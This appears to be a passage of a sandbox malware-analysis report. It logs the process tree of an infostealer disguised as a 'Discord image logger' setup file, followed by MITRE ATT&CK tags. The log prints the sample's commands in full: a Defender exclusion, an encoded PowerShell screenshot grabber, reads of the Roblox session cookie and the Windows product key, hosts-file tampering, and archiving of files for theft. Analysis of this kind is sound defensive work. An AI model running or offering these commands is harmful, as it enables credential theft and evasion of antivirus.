  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:1032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:5472
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2032
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:5872
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe""
    3⤵
    PID:5436
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Temp1_discord-Image-logger-beam.zip\discord-Image-logger-beam\Setup.exe"
      4⤵
      Views/modifies file attributes
      PID:1524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
    3⤵
    PID:4548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4844
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1760
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5356
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:5892
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2808
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    PID:3936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3916
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    PID:1176
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:3868
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:1040
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:3556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:4172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3332
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n4yu3s4e\n4yu3s4e.cmdline"
        5⤵
        
        PID:3192
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE768.tmp" "c:\Users\Admin\AppData\Local\Temp\n4yu3s4e\CSC8C6270D1F6645A2985B40776E4C6447.TMP"
        6⤵
        
        PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4508
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5000
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:6088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2156
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5832
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5860
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5216
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5384
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3468
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2624"
    3⤵
    PID:5472
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2624
      4⤵
      Kills process with taskkill
      PID:620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2624"
    3⤵
    PID:4460
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2624
      4⤵
      Kills process with taskkill
      PID:1576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4376"
    3⤵
    PID:1968
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4376
      4⤵
      Kills process with taskkill
      PID:5808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4376"
    3⤵
    PID:2940
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4376
      4⤵
      Kills process with taskkill
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2288"
    3⤵
    PID:3216
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2288
      4⤵
      Kills process with taskkill
      PID:212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2288"
    3⤵
    PID:3464
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2288
      4⤵
      Kills process with taskkill
      PID:5256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5080"
    3⤵
    PID:3192
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5080
      4⤵
      Kills process with taskkill
      PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5080"
    3⤵
    PID:4852
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5080
      4⤵
      Kills process with taskkill
      PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5084"
    3⤵
    PID:3004
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5084
      4⤵
      Kills process with taskkill
      PID:5432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5084"
    3⤵
    PID:5188
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5084
      4⤵
      Kills process with taskkill
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2220"
    3⤵
    PID:4884
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2220
      4⤵
      Kills process with taskkill
      PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2220"
    3⤵
    PID:3940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5876
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2220
      4⤵
      Kills process with taskkill
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1592"
    3⤵
    PID:3916
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1592
      4⤵
      Kills process with taskkill
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1592"
    3⤵
    PID:3556
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 1592
      4⤵
      Kills process with taskkill
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5628"
    3⤵
    PID:3232
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5628
      4⤵
      Kills process with taskkill
      PID:5484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5628"
    3⤵
    PID:1032
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5628
      4⤵
      Kills process with taskkill
      PID:740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5636"
    3⤵
    PID:2124
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5636
      4⤵
      Kills process with taskkill
      PID:1652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5636"
    3⤵
    PID:5828
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 5636
      4⤵
      Kills process with taskkill
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:6136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:5304
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI49202\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\jUCAB.zip" *"
    3⤵
    PID:960
  - - C:\Users\Admin\AppData\Local\Temp\_MEI49202\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI49202\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\jUCAB.zip" *
      4⤵
      Executes dropped EXE
      PID:5320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4460
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:2156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:5340
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:4012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:1616
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:1804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:512
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:5464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4240

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

